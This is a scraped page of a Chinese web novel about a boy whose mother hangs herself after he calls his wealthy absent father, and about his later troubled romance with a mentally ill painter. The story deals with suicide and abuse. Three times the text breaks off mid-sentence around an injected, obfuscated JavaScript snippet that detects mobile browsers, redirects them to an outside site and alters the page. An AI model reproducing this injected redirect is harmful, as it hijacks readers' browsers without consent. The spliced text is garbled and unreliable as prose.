江暮没有立刻接话,但燕之琪的泪水仿佛也感染了他,半晌他果决的摇摇头,握住燕之琪的手,说:“没关系的妈妈,是我逃课在先,我不应该这样的。”他又说,“妈妈,我们还有钱吗?医生说……” 燕之琪说:“……咱们把房子卖了。总会有办法的。” “卖了?”江暮迷茫道,“卖了的话,我们住哪?”况且那又破又小的房子,能卖多少? “我有办法。”燕之琪只是这样说。 江暮抿抿唇,小声道:“妈妈……爸爸呢?” 燕之琪脸色难看道:“你问他作什么?” “就是……我……”他低下头,忐忑道,“我告诉他,你生病了,需要钱。” “……”燕之琪缓缓瞪大了眼睛,“……你说什么?” “爸爸说……说他知道了,他过几天会过来找我们。”江暮或许是被燕之琪的表情吓到了,浑身发抖起来,燕之琪刚抬手,江暮就害怕的站起来往后退。 燕之琪绝望道:“燕江暮,你要把我最后一点脸都丢尽吗?” 燕江暮不明白母亲为何会这样。燕之琪从来没有与他细说他亲生父亲的事,江暮也不想主动询问,他怕提起往事,妈妈会伤心。 “我们需要钱,妈妈,我们要去大城市治病,可是……”他嘴唇蠕动,声音愈发小了,“可是我们很穷……” 燕之琪脸色灰败,她似乎又想起那些被欺骗侮辱的经历,随之也记起了自己一人回村生下燕江暮,被村里编排的那些流言蜚语中伤的日子。 但燕之琪不想承认的是,在刚回来的前两年,她还幻想着江晖能够来找她认错,毕竟她怀了他的亲生儿子不是么?所以燕之琪取名时,还是填了一个‘江’字。 不过这些幻想在江晖不管不问的这十四年来,变成了憎恨,这些恨中又参杂着说不清道不明的自卑,让她就算是死,也不愿接受江家的一丁点施舍。 所以在江晖过来见她前,燕之琪已经想好了,她不会要江晖的钱,她会让他滚。 江晖却和她说,这次过来是和她谈条件的。 “江家想认回江暮,但他的母亲从此不是你,而是陈浣。之后你们最好不要见面。”江晖还是那副温柔的口吻,“作为交换,我会给你一大笔钱,并送你到国外接受最好的治疗,毕竟这些年来你一个人照顾江暮很不容易。” 他将一切交换轻飘飘的说出来,仿佛是对燕之琪这一对母子的馈赠。 燕之琪对他露出一个微笑,说:“滚吧,江晖,看见你我心里直犯恶心。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087947|195396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江晖点点头,也不恼:“你考虑一下,哪怕是为了江暮这孩子。” 今天最后一节课是数学随堂考,题目很简单,江暮写完后提早了半个小时交卷,想着早些去医院照顾燕之琪,出校门的时候却看见校门口停了一辆轿车。 镇里也有人买了车,不过都没有这一辆来的亮眼,因为江暮不懂那些牌子,却下意识觉得这辆车非常非常昂贵。 江晖放下车窗,朝燕江暮笑了笑,向他挥手:“江暮,这里。” 江暮愣了下,毕竟江晖和他实在有些相像,像到就算他们只是在大街上擦肩而过,江暮也会追上去再瞧两眼确认血缘关系的程度。 他坐上副驾,低头没说话,江晖不在意他的拘谨,亲切的问候他最近如何,上学有没有压力,江暮一一回答了,江晖温柔地抚摸他的头发,说:“辛苦你了,我的孩子。” 江暮差点就要沉溺在这迟来的父爱里,却也因为明白这父爱来的太迟太迟,而迫使自己清醒。 他已经不是什么都不懂的年纪了——他的父亲十分富有,却对他们母子多年来不闻不问,江暮再傻也清楚,江晖并不爱他。 至于如今为何能因为一通电话让江晖回心转意,江暮目前并不知晓,那时候他只觉得母亲有钱治病了,自己需要在江晖面前乖一些。 之后的很多年里,江暮一直都在回想这一天,他恨自己,恨江晖,恨拨打的那一通电话,还恨燕之琪竟然狠心留下他一个人。 他已经很乖很努力了,为什么妈妈不要他?如果没有钱的话,他可以辍学去打工,他不会跟江晖走的,到底哪里做的不够好? 江暮回家时,看到燕之琪吊在悬梁上,屋里很暗,一盏灯也没有开,黄昏余晖被门掩埋过半,窗户关得严实。桌上放着一封信,字体工整,连转折的弧度都圆润。 江暮迟迟不敢打开看,他怕信上燕之琪要说恨他,又怕燕之琪要说爱他,恨或爱,江暮都难以接受,他以为是自己将燕之琪逼上了绝路,他并非不知道燕之琪对江晖的抵触,可仍然选择拨通了那串号码。 这难道不是上天对他的惩罚吗? 燕之琪下葬后,江暮才随江晖回去,他第一次来到a市,仿佛见到一个崭新的世界,江暮下意识想——魏敛哥是不是也住在这里? 进江家第一件事是改姓氏,江暮一开始不太愿意,他还沉浸在燕之琪死亡的悲伤中,不过他的悲伤无足轻重,在他拒绝的下一秒,陈浣的巴掌便扇过来了。 陈浣漂亮得张扬,性格也如此,不过她有张扬的资本,面对江暮的‘给脸不要脸’,她的耐心自然也不多,她警告道:“我看你没明白是什么状况,小朋友。” 江晖老好人似的过来哄陈浣,让她别生气,说江暮母亲才死,给他一些时间缓缓,陈浣瞪江晖一眼:“你还好意思在我面前提她?” 江晖叹气说:“错了错了,我跟江暮谈谈,你别气坏了身子。” 江晖在陈浣走后苦口婆心的同他说了许多,江暮一言不发的听着,最后却问:“我妈妈不是会愿意破坏别人家庭的人,你骗了她,对不对?” 江晖仍然笑着,对他的质问从容回答:“孩子,这些都是无关紧要的事,且都过去了。” 没错,没错,都过去了,对你而言,那些都过去了。可这些无关紧要的事情,影响了他和燕之琪大半辈子。 江暮看着桌上放着的花瓶,又看了眼江晖,脑海里闪过推开家门时,燕之琪吊在房梁上窒息的模样。那就一起死吧,他想,他和江晖,一起死了去陪葬最好。 “王姐,江叔叔在吗?” 江暮愣住了,他扭头向声音来处望去。 魏敛戴着冷帽,耳机挂在脖子上,身上是一件棕色夹克,手里提着红色的礼品袋,正低头和保姆说话:“我爸今天刚参加完讲座回来,那里的茶叶正是时候,他尝过,味道很好,买了些让我顺道带点过来给江叔叔试试。” 王姐和他说了几句,魏敛点头,把礼品袋递给她:“那行,既然来了客人,我就不叨扰了,这东西您麻烦您转交给江叔叔。” 江暮却像见到了救命稻草,他快步跑过去,站到即将要离开的魏敛面前,抬头,眼睛亮晶晶的看着他。 魏敛似乎有些意外,不过也只停留在似乎的层面上了。他好像装作不认识江暮,问跟着过来的江晖:“江叔叔,这位是……?” 江晖慈爱地拍拍江暮的肩膀,向魏敛介绍:“江宸的弟弟,江暮。我找了他很久,现在终于是接回家了。以后你们都会认识他的。” 魏敛没多问什么,心知肚明的事情不必摆到台面上说,他伸出手,对江暮道:“你好江暮,我是魏敛。” 江暮其实应该坚守自己的倔强,告诉他我姓燕,叫燕江暮。但他又不想魏敛为难。 魏敛没有催促,他淡漠的脸笑了一下,微微下垂的眼尾弯起,他说:“无聊的话可以来我家找我玩,我最近没什么事做。” “……”江暮突然掉下几滴眼泪,然后握住他的手,像抓住救生的绳子,“你好,我叫……江暮。” 夜晚,他缩在床角,小心翼翼的阅读起来燕之琪给他的遗书,信里说,燕江暮,我的宝贝,妈妈这些年来对你很不好,我都知道,可我有时候无法控制我自己,我大概是被逼疯了。我身体不好,再治也无济于事,更不想接受江晖对我的施舍。但你应该跟他回去,认一个知书达理的新妈妈,接受最好的教育,不用穿旧衣服旧鞋子。江暮—— 写到这里时,燕之琪似乎哭了,因为字迹变得模糊难辨。不过燕江暮认出来了,燕之琪写的是:江暮,江暮,我的宝贝,妈妈其实很爱很爱你,对不起,你要好好活下去。 8. 出院 从疗养院出来,第一时间应该是回家看父母。不过昨日我告诉他们我即将出院的消息,父亲回他在h市带着学生参加学术峰会,母亲自然更不用说,她经常在外地出差,两人给我的回复均是等回来再聚。 与世界上很多父母不同,他们都是将事业放在首位。除了对我选择当一个‘破画画的’十分不满外,倒也从没有苛责我太多。因此我很放心,假如哪天真的要走,他们大概会伤心一阵,再疑惑地想:儿子究竟为什么要自杀。 翻来覆去的推测,应该能知道有很大一部分是基因遗传的缘故,然后母亲的职业素养要求她必须先一步占领高地——大声指责父亲一顿:魏嘉昊!你看看你爸遗传下来的好东西! 但这些吵嚷和责怪很快就会过去,婚姻也不会发生重大破裂,因为两人明天将要继续他们为之费心劳神的工作。 不过说到底不必太早预见那些,毕竟现在我还好好站在这里,准确来说,是坐在江暮的车里。 他的车开的很快,好在维持在规定的车速以内,路上别了好几辆车,别的时候甚至还要讽刺:慢死了。 虽然除了我没人能听见。 好像耽搁几分钟地球就要爆炸了一样。 我在他对于等待红灯而第四次发出‘啧’时,礼貌地问了一句:“你有急事?” 江暮说:“急着带你回家。” “我没答应要去你家。” 他说:“那你想去哪,魏敛。”扭头眼神幽邃地盯着我,冷声道,“你要去哪。” 江暮变得一手好脸,仿佛方才软声哀求我重新在一起的人不是他一样。 可能江暮曾经用这样的语气吓到过很多人,但这个范围应该永远不会包括我,我知道该如何戳破他看似强硬的伪装,只需要轻轻的力道:“你变得很不可爱。” “......” 他神色一下难以言喻起来。 “让我有些难以适应和接受。” 话音刚落,江暮的手几乎要捏碎方向盘,他轻声重复:“很不可爱?......难以接受?” 我扭头看向窗外,不予回答。 江暮说:“如果我按照你喜爱的样子去活,你就会留下来吗?”他嗤笑了一声,“......你压根就不在乎。” 他很笃定道:“如果那天是我死了,而不是孙伊佳,你应该会更容易释怀一些。” 好吧,我的判断出现失误,这三年里江暮好像完成了一种蜕变,像一只小刺猬,过于尖锐棘手。 我说:“你要是想这么想,那就这么想吧。” 江暮的眼眶兀的又红了——变来变去,爱哭的习惯还是没改正。 我无所谓的态度大概深深刺痛了他,让他安静了许久。江暮现在的住所并不在江家常住的那套别墅,新家似乎离公司更近,他铁了心要带我去他那儿,中途我友好的提醒了一句我家不是这个方向,江暮没有理会。 直到停车入库,我解开安全带准备下车时,他突然说: “可是现在就是我活着,而她死了,很可惜,对吗。”他声音发紧,露出微笑,却更像是隐藏自己已然成为丧家之犬的模样,“要是世界上能够有置换生命的方法,为了让你更高兴些,我想我会去做的。” 我看向玻璃中的倒影,发现不知道什么时候我的眉头紧皱起来,一旁的江暮继续说:“魏敛,我想清楚了,我这辈子就这样了,所以不纠结了。你真正爱的人也好,最重要的人也好,是谁都行,对我而言,那些都不重要了。” 我低声问:“江暮,你想说什么。” “我想说的是,你能活着留在我身边就行。”江暮眨了眨酸涩的眼,“打我骂我,没有那么爱我都可以,甚至如果某一天,你确实上腻了我,对于我的一切感到无聊,想要找旁人——” 我越听越离谱,打断道:“你想象力太丰富了,江暮。” “我不应该想象力丰富吗?”江暮哑声道,“我是最后一个知道你要进疗养院的人。我去见你,并没有要求你出来,我就是想求你看看我,给我一个月见你一次的机会,这样的要求很过分吗?” 他不等我回答,又开始认错:“我一遍又一遍反思自己,我想一定是我对你要求太高了,亦或是太粘着你,你只是有三年将我的生日当作不存在,这完全没关系!可那时候话已经说出口了,害的后面的三年你甚至不愿意见我——” “够了。”我不想听下去了,他不应该委曲求全成这样,“江暮,有些事情没法强求,我们不合适就是不合适。” 江暮哽咽了一声,即使他拼了命的想要坚强些,可实在太容易被我的三言两语调动情绪:“魏敛哥,你知道的,我很能忍的,我刚才说的那些都是真的。” 他声音颤抖的重复向我介绍他的优点,他说,“我没骗你!我懂事了很多,不会像之前那样无理取闹了。三年前完全是一个意外,我没能调节好我的脾气,对不起,对伊佳姐出言不逊,对不起,真的对不起,我知道错了,下次我会在她墓前亲自和她道歉的。” 我确实知道,江暮是一个忍耐力极强的人。燕之琪对他的打骂他从不反抗,也很少有小孩心性惹出祸事,仅仅因为燕之琪归根结底是爱他的。 燕之琪死后,他来到一个完全陌生,又对他来说过于繁华的城市,即使在外称是江家人,但江晖不在乎他,陈浣厌恶他,江家只是需要这样一个接班人,于是江暮成了一块被随意捏造的橡皮泥。这些年遭遇的种种歧视和不公,江暮忍了,因为他说魏敛哥,你在a市,而且我想配得上你。 现在呢?现在他依旧还要需要继续吗?我也要成为那个让他忍耐一生的人了吗?这跟凌迟他没什么区别。我想我是爱他的,可是我们的确没有那么合适。 我沉默许久才道:“江暮,那个时候答应你告白的原因,不是因为喜欢。”我扭头看向他,江暮愣神的望着我,“......是怜悯。” “......什么?” “因为可怜你,我才会委屈自己,答应和你在一起。”说出这句话时,我感到很疲惫。 “可怜我?”江暮喃喃,“......委屈自己?” 我嘴巴张了张,又看到他失神落魄的模样,仿佛之后说出的每一句话都会让他无比痛苦,于是我也像是被传染了这样的痛苦,静默了。 “魏敛哥......”他像是溺水的人,慌张的攀住我的手臂,讪笑道,“不可能的吧......一直都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087948|195396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢我吗?我们做过很多次啊,有几次还是你主动吻我的呀魏敛哥,哥哥——” 他慌张的解开衣服的扣子,一边把我的手往他衣服里送,一边不停的说,“你看,你摸过这,还有这,你肯定是记错了,怎么可能一点都不喜欢我呢。”他挺了挺胸方便我动作,脸色却苍白得像一张纸,讨好的露出笑容,“你肯定不是最喜欢我的,但应该还是有一点点的吧?你对我那么好,一定是在骗我对不对?” 太瘦了。我在触碰到他肋骨的时候想,三年没见,怎么能瘦成这样。 他见我不说话,神经高度紧绷起来,笑着问:“是不是......我变丑了啊?都怪那些老东西经常为难我,害得我总熬夜——” 我叹了口气:“没有,江暮,跟那些没关系。不喜欢就是不喜欢。” 他几乎要忍不住掉下眼泪:“……你一定是故意这样吓我。” 江暮可以忍耐我不那么爱他,不那么在意他,甚至是将爱分给其他人——可他没法忍受,从始至终,我压根就只是怜悯他。 “我——”我捂住额头,呼吸似乎开始有些困难,我想让江暮远离我这样一个痛苦源,但尝试让他远离的这个过程,远比我想象的要难以进行,“把后座我的包给我,有没有水。” 江暮睁大了眼睛,递来包,见我拿出一盒药,他紧张极了:“水在后备箱,我马上给你拿!”他衣衫不整的慌张下车,上车时甚至还趔趄了一下,在递来水前替我拧开瓶盖,一言不发的看我吃下了药。 我在座位上缓了几分钟,期间江暮很乖,一句话也没有问一句话也没有说。 他呆呆地盯着我,我能感受到他灼热的视线,大脑混沌地想——那就这样吧。 如果他一时无法承受离开我的痛苦,那也只能这样了不是么?我猜我们之间应该不会长久,他现在已经是个大人,可以独自接手公司的许多业务,同三年前连进鬼屋都要害怕的缩在我怀里,牢牢攀附住我的孩子不一样了。 之后的某个日子,让他忍无可忍的提出分手或许对他而言更好接受。 “江暮——” “魏敛哥——” 我愣了下,没想到江暮会和我同时开口:“怎么了?” 江暮抿抿唇,极其勉强的扯出一个笑容:“对不起啊。”他开始缓慢的扣上自己的扣子,试图得体,“对你而言,我是不是......”他卡壳了一下,“对你负担很重。在你面前我太不懂事了,总是这样......让你为难。” “如果和我在一起,让你感到......感到痛苦。”他难堪的闭上眼睛,眼泪却因挤压而不受控制的落下了,“就像刚才那样。” 我怔愣的看着他。 “对不起,对不起......呜,我不想哭的,可我控制不住。”他双手捂住脸,颤抖道,“我送你回家吧,以后我不会说复合这些话了。”他说,“对不起。” “......” 我不知道自己在干什么,是药效还没起作用吗,总之有别的什么突然控制住我,我无法抵抗,默认接下来可能会功亏一篑的结果——我抓住他的手腕,想要看清他的脸,江暮迷茫的抬起头,然后在他的泪光里,我就这样吻了下去。 9. 回忆 “想去哪?” 距离上次在江家看到江暮已经过了半月,昨夜凌晨魏敛接到了江暮的电话,电话里江暮哭着问能不能去找他。 魏敛吃了药就会睡得很早,且手机通常会静音,巧便巧在那天家里来了客人,魏母施微叮嘱他让他今晚不要太早睡,和这位客人好好聊一聊。 “跟我睡觉有什么关系。”魏敛觉得麻烦,但他又不是会无缘无故就和父母唱反调的性子,疑惑,“你请来的客人,我和他又有哪些是能聊的。总得给我一个理由。” “z大美术学院的石教授,圈里的大拿,你能不知道?”施微替他着急,“这圈子要是没点关系,谁会在乎你那些画?你无意中向他介绍自己的作品,他也能留个印象。” 魏敛无奈道:“妈,我才大二,况且现在不能让我先享受享受暑假吗?” “这话说的,我逼你一样。” 施微从小要强,人生从没躺平过,家里又无甚大背景,只称得上小康,能走到今天这一步,全凭她自己的本事,自然也想魏敛能够努力一点,获得成功。 但她又不想成为别人口中逼迫孩子的‘东亚家长’,所以便落下这么句似是而非的话。 魏敛想也不是什么大事,最近精神状态也不错,少吃一天不会如何。过两日又要出国,因为孙伊佳他们早前约他去N国滑雪,就不在这时候惹施女士生闷气了。 他回:“没有这回事,我知道了,石教授多久来?我换身衣服,这身睡衣太不正式。” 施微一听顺心许多:“别穿西装就行,否则别人教授一来以为我们给他下鸿门宴,你是要给他卖保险!” 魏敛笑了:“好的,施女士。” 没想到石教授与他聊天十分投机,还主动要求看看他曾经的画作,魏敛带他去了家里的画室,石教授指着一副油画,说:“这幅画很有意思。” 魏敛道:“但很遗憾,它还未完成。”顿了顿,“又或者可能……我潜意识里认为,未完成的它,才是完成的。” 石教授感兴趣的哦了声,魏敛解释:“因为……它是我想象中的完美世界。” 石教授打趣:“你的眼神看起来生无可恋,想象中的完美世界倒是春和日丽。” 魏敛笑了下:“所以它可能永远是一副待完成的模样。” 两人在画室交谈至傍晚,到最后石教授甚至问他以后有没有兴趣再考到z大。z大在b市,魏敛说我会认真考虑。 送走石教授他以为今晚便能空闲下来了,没想到凌晨一点的时候接到了江暮的电话。 江暮起先只是在电话里哭,一句话也不说,魏敛挂着免提,被吵醒的他耐心不是很好,直接道:“给你三秒钟,不说话我挂了。” “呜……魏敛哥……”江暮哭的连话都说不利索,“我梦到……梦到妈妈死的那天了。” 魏敛听施微提过,说是江家新来的小孩儿他妈妈上吊自杀了。有钱人或多或少都会迷信,江晖还找了人去现场做法事。 “……”魏敛揉揉额头,叹了口气,问,“所以被吓醒了?” “……没有。” “嗯?” 江暮小声说:“我没有被吓醒……梦里面我喊妈妈带我一起走,可她竟然摇头说不行。” 魏敛在情绪这方面极其敏锐,他问:“这半个月,在江家过得怎么样?” 江暮不说话了。 魏敛从床头坐起来,夜晚无光,他怕闪眼睛也懒得开灯,借手机屏幕的微亮,顺着记忆摸到了放在一旁的烟盒和打火机。 他咬着烟,低头,烟尾融在火里,不一会儿吐出的白雾将他的困意一起缥缈消散。 “想去哪?”魏敛说,“打我电话,想让我带你去哪?” “我……”江暮瓮声瓮气道,“……我想回家。” 魏敛没有给他幻想的余地:“你的家就在这里。” “他们没把我当家人。”江暮将自己闷在被子里,整个人缩成一团,他抱住膝盖,仿佛这样会非常有安全感,“他们都讨厌我。既然如此,为什么要接我回来。” 魏敛说:“因为他们需要你,你是有价值的,江暮。”又说,“相应的,他们对你来说也有价值,你会上a市最好的国际学校,接受最好的教育,再也不用担心钱的问题。” 江暮不明白,哭着说:“可我只想和妈妈在一起。” “你妈妈对你并不好,江暮,我见到你的第一面,看到你那副模样就知道了。” “她以前对我很好的,变成那样……只是因为我让她过得不太如意。”江暮自省,“而且妈妈很爱我。” 魏敛不欲与他争论这些,更何况当初是自己给了他江晖的号码,无论如何,事情发展成这样,自己大概有一些说不清道不明的责任:“知道怎么溜出来吗?” 江暮愣了下:“啊?” “带你出去兜兜风。” “这么晚了……没什么人吧?” 魏敛说:“确实。所以你怕我把你拐卖了吗?” 江暮赧声反驳说才没有。 “要出来吗?” “……”江暮捏了下拳头,“要。” 魏敛轻轻笑了一声:“逃出来后面对大门,然后往左手边的路走,直走别拐弯,我在前面等你。” 江暮握紧电话,示弱道:“那么晚了……我害怕。” “知道了。”魏敛打开抽屉,从里面拿出车钥匙,“电话通着,我不挂。” 江暮又问:“魏敛哥,你赶来要多久啊?” “没多久。”魏敛转了转手指上套着的钥匙扣,“我们在同一个小区,你不知道吗?孙伊佳也在,就是那天说你书包破了的女生。” 魏敛对于江暮能够很快赶来没抱太大期望,毕竟一个看起来唯唯诺诺的小孩,让他一个人偷偷溜出家,还要半夜独自走夜路,实在是很为难人。 不过魏敛没想到江暮比他想象中来的还要快。 在离他还有十米左右时,慌张的模样顿时吃了定心丸般,连脚步都踏实了许多,小跑撞进魏敛怀里。魏敛拍拍他的头,询问:“有那么害怕?” 江暮其实不怕,他不怕黑也不怕鬼,若世上真有鬼魂索命,那尽管让它们来。他方才只是太想见到魏敛——这个能让他唯一能够略微依靠的‘大人’。 因而在大人面前装软弱是小孩的天赋和权力,江暮细声道:“……害怕,一个人。” 魏敛想一个人走夜路确实容易害怕,尤其小区绿化做的很好,即使路灯会循时亮起,但这不影响人的内心会感到可怖。 譬如孙伊佳经常看鬼片,某天夜晚被草丛里的猫惊吓到,哭着给爸妈打电话说有鬼要来抓我,你们给我买的开光玉佛怎么不灵。 很可惜,魏敛到很多年以后才明白,江暮怕的不是他臆想的那些,他已经十分诚实的告诉自己:他害怕的确实只是自己独自一人。哪怕是艳阳高照的晌午,也不影响江暮会在那些刺眼的阳光下,心中升腾起许多浓稠的阴翳与恐惧。 “哪怕让我痛苦也无所谓,你在我身边就好。”江暮在天台上,抬头看向魏敛,那天阳光也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087949|195396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,不过这又能照亮谁呢?他惨败地笑了,“但如果你感到痛苦的话,那我顺应你的想法。魏敛。” 他说,“只不过未来的某一日,我会追随你的脚步,或许明天,又或许明天的明天,那必然在未来的某一天,我总归不会自然老去。” 赌徒身无分文,再无任何筹码时,最后便只能压上自己。 然而现在,他们都正年轻,青春甚至还没有走到尾巴的位置。即使死亡曾距离他们仅余一毫米,但以后的无数未知还未得到解答,因此宽恕了他们。 “我骑摩托,你不会觉得寒酸吧?”魏敛睨了他一眼,调侃似的问。 江暮愣了下:“摩,摩托吗?”他对于这个的认知还是那种车身一身泥,仿佛买来后就没洗过的摩托,那些男人经常骑着它出去运送东西,有时候是人。 魏敛不知道为什么能看懂他心里的忐忑,笑着拍了一下他的后脑勺:“知道宝马吗?” 江暮连忙点头,他再土包子也不至于不知道这个。 “宝马F850GS知道吗?” “什么?” 魏敛就这样又重复的念了一遍神秘的字母加数字。 江暮完全呆了。 魏敛闷声笑了起来。 江暮不好意思道:“……我是真不知道。” 魏敛安抚他似的拍拍他的肩膀:“我认识的很多人,他们压根不需要我说明,见面的第一眼就能念出来,这对于他们来说不是什么难事,也不是什么十分贵重的东西。” “江暮,那天你见到的孙伊佳,还有你现在的身份——江氏的继承人,其实你们都要比我厉害。” 江暮听完立马反驳:“不对!” 魏敛不缓不慢的走到他将摩托车临时停放的地方:“没有不对,这是事实。论背景和财力,我们家虽然富有,但确实远比不上你们。你在接下来的几年里,会接触到无数你以往无法想象的事物和人,所以无需为自己之前并不了解的东西而感到羞愧——这恰恰证明,人会永不停歇获得新的认知,哪怕并不重要。” 江暮着急道:“我明白,我是说,我只是想说,魏敛哥你没有比不上任何人!” “……” 江暮抓住他的袖子:“我是认真的!” 魏敛垂眸看了他一会儿,轻笑道:“嗯,我该说一句谢谢吗?” 江暮傻愣愣道:“不用谢……” “过几天我要出国,不在a市。”魏敛将头盔给江暮戴上的时候,冷不丁道,“还没开学,江家应该会给你请家教拉进度,免得到时候考试要丢人。” 江暮羞愧难当:“其实已经开始了……” 魏敛问:“怎么样?” 江暮觉得头盔闷得慌,可魏敛亲手给他戴上的,摘了显得很不给面子:“英语……我说不利索。” “这倒是,你们那应该不太注重口语。” 江暮沉默两秒,鼓起勇气道:“魏敛哥,你去国外几天啊?” “没几天,滑个雪而已。” “那,那我也可以像今天这样给你打电话吗?” 魏敛问:“你说像今天这样,意思是三更半夜扰人清梦吗?” 江暮讷讷:“对不起。” 还真拿我当亲哥哥了。魏敛在彻底戴上头盔前,告诉他:“我去的是n国,自己回去算时差,我平时睡得很早,想打电话就挑合适的时间,不是每次我都会在那么晚的时候能够接到你的电话。” “平时短信也可以吗?” “我会看,但不保证会回。” 10. 出院 在车里亲吻他的那一瞬,我就知道完蛋了。我明明知道他有多依赖我,哪怕我说尽伤人的话,甚至是打骂他,江暮而也不会将这些太放在心上,他会自洽的认为,年幼的自己失去了爱他的母亲后,幸运的又迎来了一个我。 但他无法接受我因为呆在他身边会感到痛苦——他的爱换来对方的痛苦,有什么比这件事还要讽刺呢? 所以他宁愿选择放手,可我却无法忍受亲眼看到江暮失魂落魄的模样,就这般前功尽弃吻了下去。 “我家很空,你有什么想置办的东西吗?可以随时跟我说。”江暮推开门,他的新家是临江的大平层,巨大的落地窗外能够看到波光粼粼的江水,偏偏他还自谦:“房间有些小,你住的惯吗?” 我偏头看着紧贴我的江暮,他的双手紧张的交叉握着,指尖微微发白,指节因用力泛起青色。他垂下眼,不敢看我,像是怕惊走什么珍贵的东西。 我忽然想起他刚来江家的那两年,见到我的那些朋友,也是这样乖巧站着,他说怕给我的朋友们留些坏印象,以后就不让我带他出来了。 “我应该没有说我要在这住吧?” “......”江暮很快速的瞄了我一眼,但碍于我没有再提及分手,他便只是很委屈的小声说,“住这里也很好啊。” 我笑了:“是对你很好吧?” 他说:“我可以照看你啊。” “我是八十岁了吗?需要年轻小伙照看。” 他很认真道:“需要啊。” 我说:“是你需要我照顾吧?” 他猛地摇头:“没有啊。” 我被逗笑了:“那么紧张吗?每一句后面都加一个‘啊’。” 江暮后知后觉的愣了一下,抿紧嘴巴不说话了。 我说:“你很想和我一起住吗?你知道的,和一个患有精神病的人住在一起,没有想象中那么轻松,你需要接受我许多莫名其妙的负面情绪,还要担心万一哪天真的间接背负上一条人命。” 江暮立马道:“这三年我想了很多次了,我都愿意的!”他说,“能够相信我这一次吗?” 我无奈道:“你今天是不得到我的答应就不放我回去吗?” 江暮没说话,但我从他的表情里得到的答案是‘对’。 我叹了口气,江暮又说:“你别叹气。” “你这是强买强卖知道吗?” 江暮:“你不和我住一起我会疯的,到时候说不定我也要进精神病院陪你了。” 这个人一旦耍无赖起来我还真拿他没什么办法,该说的话都说了,要怪就怪我怎么偏偏就亲了他,明明三年不见他都能够做到——现在他有了一个情不自禁的吻作为倚仗,说什么也不肯放我走了。 江暮怕把我逼急了,转移话题:“你饿了吗?我去给你做饭。” 我说:“我看你家厨房干净得像从来没开火过一样,你这几年真的做过饭吗?” “上一次做饭是给你做的。”江暮说,“不过我手艺应该不会退步的太厉害,顶多是没以前好吃。” 他走到厨房打开冰箱,看到里面空无一物,愣在当场,我看他呆愣愣的站在那儿,好笑道:“怎么,有老鼠?” “……没。”江暮摇头,尴尬道,“我忘记买菜了。”他自顾自的嘟囔,“怎么忘记买了呢……”他和疗养院的院长打过招呼,吩咐要是我有出院的意向,就随时告诉他。江暮前两天得到院长的信息,还记着下班后去超市亲自挑菜。 “工作太忙了?” 江暮有些茫然:“好像是,这几天我很晚都才到家。” 我说:“出去吃吧。” “不想出去。”他又紧张起来了,试探着握住我的一根手指,见我没有甩开暗自松了口气,“就在家吃好吗?” “你怕我跑?”我看着他。 “……” “你今天可以不去公司,明天可以不去公司,后天也可以。但是能维持多久?总有一天你看不住我,而且腿长在我身上,去哪里是我的自由。” 江暮闻言却猛的抱紧我,他低头埋在我的肩膀上,恳求道:“魏敛哥,和我在一起吧。” 我差点忘了,我还没答应他要和他在一起。怪不得江暮这样一副惴惴不安的模样。 我拍拍他的后背,放缓了声音:“好,我们在一起。” “不是因为怜悯,对吧?” “如果我说是呢?”我问,“那你该怎么办?” 江暮低声说:“……好恨你,好恨你啊哥哥。” 这哪里是恨,我想。 “那你跟我待在一起,会恶心吗?”他问,“会不舒服吗?会不开心,痛苦,像刚才那样吃药吗?” 我笑了:“你当我是忍者,和你在一起需要每天忍这忍那的。” 江暮忐忑的看着我:“那就是都没有,对吧?” 我捧住他的脸,看了一会儿,评价:“瘦了。” 江暮着急:“你快说是不是!” 我勾唇笑了笑:“江暮,你有时候真的很蠢,在公司也这么蠢吗?那些人服你吗?” 江暮哼了声:“再不服他们也清楚我比江宸好多了。” 我问:“说起来,你掌心那些疤坑是怎么来的。” “……”江暮的眼珠子忽然转了个弯,心虚的看着地板。 我说:“你能老实回答我的话,我就告诉你你想要的答案。” 江暮缄默许久,我等的有些不耐烦了,甚至怀疑他是不是故意不回答,好让我一直像捧着个宝贝似的捧他的脸,他心理斗争十分激烈,最后道:“我不想你知道,怕你觉得我没用。” “一个人有用与否,与外人的评价毫无干系。” “……但你不一样。”江暮抿抿唇,“你对我评价的每一句话,都很重要。”他观察我的表情,“……那是烟头烫的。” 我眉头下意识皱了起来,想要放下手跟他好好讨论,哪想到江暮一边低下头追着我的手,一边摁住我的手掌在他脸上不许动,我们两个现在便以这样诡异的姿势讲话。 我严肃道:“谁烫的?” “第一个烟头……是江宸烫的。”江暮说,“我现在还没办法报复他,怕你觉得我没用。” 我蹙眉道:“江宸什么时候回的国?” 